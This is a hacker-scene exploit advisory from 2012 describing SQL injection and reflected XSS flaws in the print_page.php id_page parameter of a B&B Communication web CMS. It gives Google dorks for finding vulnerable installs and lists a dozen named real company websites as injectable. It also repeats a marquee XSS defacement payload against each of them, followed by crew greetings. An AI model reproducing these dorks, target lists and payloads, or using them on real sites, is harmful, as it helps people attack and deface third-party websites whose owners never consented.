B&B-Communication - XSS / SQL Injection Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Official Website: http://www.1337day.com                        0
1  [+] Support E-mail  : mr.inj3ct0r[at]gmail.com                      1
0                                                                      0
1                ##########################################            1
0                I'm NuxbieCyber Member From Inj3ct0r Team             1
1                ##########################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

========================================================================
<<<|>>>      B&B-Communication - SQL Injection Vulnerability     <<<|>>>
========================================================================
                                                          
 - Discovered By:
 ||| TheCyberNuxbie - Independent Security Research |||
 <<< [email protected] >>> CP: +62856-2538-963 $ YM: nux_exploit
 Credit : Catur Febrian [ nuxbie ]

 - Info WebApps:
 This Content Develop By:
 http://www.bb-communication.fr/web4/
 
 - Google Dork:
 inurl:"/print_page.php?id_page="
 intext:"Powered by : B&B Communication"
 intext:"Réalisation : B&B Communication"

 - Exploit Concept:
 http://lokalisasi/WebApps/print_page.php?id_page=[SQL Injection]

 - Sample WebApps Vuln SQLi:
 http://adrien.fr/web/print_page.php?id_page=679' + [SQL Injection]
 http://ardoise-angers.fr/web/print_page.php?id_page=275' + [SQL Injection]
 http://bouyer-leroux.com/web2/print_page.php?id_page=146'  + [SQL Injection]
 http://cabinetduvail.com/web/print_page.php?id_page=105'  + [SQL Injection]
 http://gifa-group.com/web/print_page.php?id_page=145' + [SQL Injection]
 http://mbpgroup.com/web/print_page.php?id_page=259' + [SQL Injection]
 http://mta-industrie.fr/web/print_page.php?id_page=211' + [SQL Injection]
 http://piveteaubois-pellets.fr/web/print_page.php?id_page=136' + [SQL Injection]
 http://samic-production.com/web2/print_page.php?id_page=114' + [SQL Injection]
 http://simedit.com/web/print_page.php?id_page=242' + [SQL Injection] 
 http://soreel.com/web/print_page.php?id_page=251' + [SQL Injection]

 - Google Dork:
 inurl:"/print_page.php?id_page="
 intext:"Powered by : B&B Communication"
 intext:"Réalisation : B&B Communication"

 - Exploit Concept:
 http://lokalisasi/print_page.php?id_page=[XSS]

 - Sample Web Persistent XSS Vulnerability:
 http://ardoise-angers.fr/web/print_page.php?id_page=<marquee><font
color=red size=15>XSSed By Nuxbie</font></marquee> <:- [XSS]
 http://bouyer-leroux.com/web2/print_page.php?id_page=<marquee><font
color=red size=15>XSSed By Nuxbie</font></marquee> <:- [XSS]
 http://cabinetduvail.com/web/print_page.php?id_page=<marquee><font
color=red size=15>XSSed By Nuxbie</font></marquee> <:- [XSS]
 http://mbpgroup.com/web/print_page.php?id_page=<marquee><font
color=red size=15>XSSed By Nuxbie</font></marquee> <:- [XSS]
 http://mta-industrie.fr/web/print_page.php?id_page=<marquee><font
color=red size=15>XSSed By Nuxbie</font></marquee> <:- [XSS]
 http://piveteaubois-pellets.fr/web/print_page.php?id_page=<marquee><font
color=red size=15>XSSed By Nuxbie</font></marquee> <:- [XSS]
 http://samic-production.com/web2/print_page.php?id_page=<marquee><font
color=red size=15>XSSed By Nuxbie</font></marquee> <:- [XSS]
 http://simedit.com/web/print_page.php?id_page=<marquee><font
color=red size=15>XSSed By Nuxbie</font></marquee> <:- [XSS]
 http://soreel.com/web/print_page.php?id_page=<marquee><font color=red
size=15>XSSed By Nuxbie</font></marquee> <:- [XSS]

 , And Many More @ Google...!!!
 
 [x] Greetz,,,
 *** 1337day Inj3ct0r TEAM ***
 ...:::' All Member & Staff Inj3ct0r TEAM ':::...
 
 - Special Thanks:
 Alloh SWT (GOD)

 - Yang Terhormat:
 team_elite: Yang menuntunku dari 0 sampai sekarang @ dunia hacking. Om n0n0x paling keren dah,,,
 erytronic: Yang menuntunku belajar webapps & security.
 cr4wl3r: Saya baca & kenal dari exploits anda, salut & keren,,,
 aazzum: Teman sharing all about hacking,,,
 Devilzc0de: Forum yang paling nyaman tempatku belajar & mencari ilmu,,, Unyu,,unyu,,
 X-Code: Komunitas pertama kalinya di tahun 2008 aku mengenal dunia hacking,,,
 
 - Quote Of The Day:
 "HACKER??? Your Next 5 Years...!!!"
 
 [ Inj3ct0r | PacketStromSecurity | Exploit-DB ]
 
 Me @ Solo Raya, 14 March 2012 @ 07:29 PM. Central Java, Indonesian.
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$



#  0day.today [2018-03-28]  #